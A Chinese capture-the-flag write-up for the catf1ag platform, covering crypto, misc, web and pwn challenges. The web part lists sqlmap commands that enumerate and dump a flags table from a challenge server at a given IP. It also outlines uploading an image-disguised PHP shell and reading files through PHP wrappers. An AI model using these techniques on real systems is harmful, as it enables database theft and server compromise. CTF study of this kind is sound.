做题网址
catf1agCTFhttps://catf1ag.cn/
我是个懒狗 呜呜呜 直接把vfree写的wp搬过来了
vFREE&博客https://vfree.ltd/ 注:vfree博客上暂未上传这篇
# crypto
### sign
下载题目附件,简单看了一下全局的代码,发现代码中有一行后面注释着"*缺少了一位看看你能不能找出来",并且这题上面放了一个链接,链接打开后映入眼帘的是一个【深信息&顺职CTF友谊赛】密钥,且发现这个网站的域名jamiexu和缺少一位的字符串很相似,于是用J替换掉*,将得出来的字符串 96af8f30dd76cc51bda997ba8a294e1d 放到链接中的密钥框里,发现并不是,我大意了啊,被迷惑了,以为python输出的内容要放到框里面然后解密得到flag,结果发现并不是,亏我还枚举了24个英文大小写字母出来后,一个个传进去,结果发现flag就是 96af8f30dd76cc51bda997ba8a294e1d ,交上去发现还是错的,后面才发现
原来flag格式是 ITSCTF{96af8f30dd76cc51bda997ba8a294e1d }


### column
题目名字提示了柱状,结合经验和密文,好像是柱状换位密码,首先先将给出的key=match进行从小到大进行排列,排列出得achmt,将密文ETL1@RHCLF
| - | - | - | - | - |
| ---- | ---- | ---- | ---- | ---- |
| a | c | h | m | t |
| E | L | @ | H | L |
| ---- | ---- | ---- | ---- | ---- |
| T | 1 | R | C | F |
排列完成后后,将achmt恢复至match
| m | a | t | c | h |
| ---- | ---- | ---- | ---- | ---- |
| H | E | L | L | @ |
| C | T | F | 1 | R |
| ---- | ---- | ---- | ---- | ---- |
| | | | | |
然后横向读取,flag转换成小写提交,最终的flag就是 flag{hell@ctf1r}
## Misc
## YOUSB-1
这题目感觉在骂我,但是我没有证据,初想使用tshark提取出来,但是就提取到了一个04,于是使用cat/vi/find等命令尝试能不能读取到flag,在使用find时读取到!
> find "flag" YOUSB-1.pcapng
最终flag是flag{YOUSB-IS-GOOD!@QAQ}
注:flag2是另外一题的题解

### 有趣的压缩包
下载的压缩包打开后,还有一个1617.zip的压缩包,打开后发现又是一个压缩包,是一个加密的压缩包8652.zip,习惯性打开zirehello对压缩包进行数字暴力破解,破解出了密码为1617,和上一个压缩包的名字一样,并且解密出来后还是一个加密的压缩包1780.zip,于是为了验证是不是每一个新的加密压缩包的密码是上一个压缩包的名字,于是输入上一个压缩包密码8652,结果密码正常,于是思路就有了,攥写脚本:
```python
import os
from xml.etree.ElementTree import QName
filepath = r'F:/ctf/wp/有趣的压缩包/11111/'
filename = os.listdir(filepath)
password = []
for i in filename:
password.append(i.split('.')[0])
a = 0
while a<1:
filename = os.listdir(filepath)
password = []
for i in filename:
password.append(i.split('.')[0])
if filename[-1].split('.')[-1] != 'zip':
a = 1
for x in filename:
for passwd in password:
try:
command = '7z x -p{0} {1} -y -oF:/ctf/wp/有趣的压缩包/11111/'.format(passwd,filepath+x)
os.system(command)
print('密码是:'+'F:/ctf/wp/有趣的压缩包/11111/'+passwd+'.zip')
os.remove('F:/ctf/wp/有趣的压缩包/11111/'+passwd+'.zip')
except:
continue
```
注:代码中的路径更换为自己的
最终flag:flag{ZiP_Is_SO_LOvely_hhh}
### 电影
使用16进制工具将高度改高保存,即可

## WEB
### 小熊爱吃饼干
打开环境后,首页有一半的flag,还有一半在开发者工具-网络-flag中
### EZsql
sqlmap一把梭,命令执行顺序如下
> python .sqlmap.py -u 'http://114.132.166.21:23411/?id=1' --dbs
> python .sqlmap.py -u 'http://114.132.166.21:23411/?id=1' --dbs
> python .sqlmap.py -u 'http://114.132.166.21:23411/?id=1' --D SQLite --tables
> python .sqlmap.py -u 'http://114.132.166.21:23411/?id=1' -D SQLite -T flags --columns
> python .sqlmap.py -u 'http://114.132.166.21:23411/?id=1' -D SQLite -T flags -C flagvalue --dump

### easy_uploads
这题没有做出来,但是给一个很直接的思路,就是直接上传一个含有include文件包含的php文件,由于程序会验证图片头,所以要用图片马,然后上传成功后会回显在moumoumou个文件夹中,使用的是时间戳作为文件名,打开文件后,使用php伪协议读取index.php就可以得到flag
## PWN
nc IP地址 端口,然后cat /flag
暑期编程PK赛 得CSDN机械键盘等精美礼品!


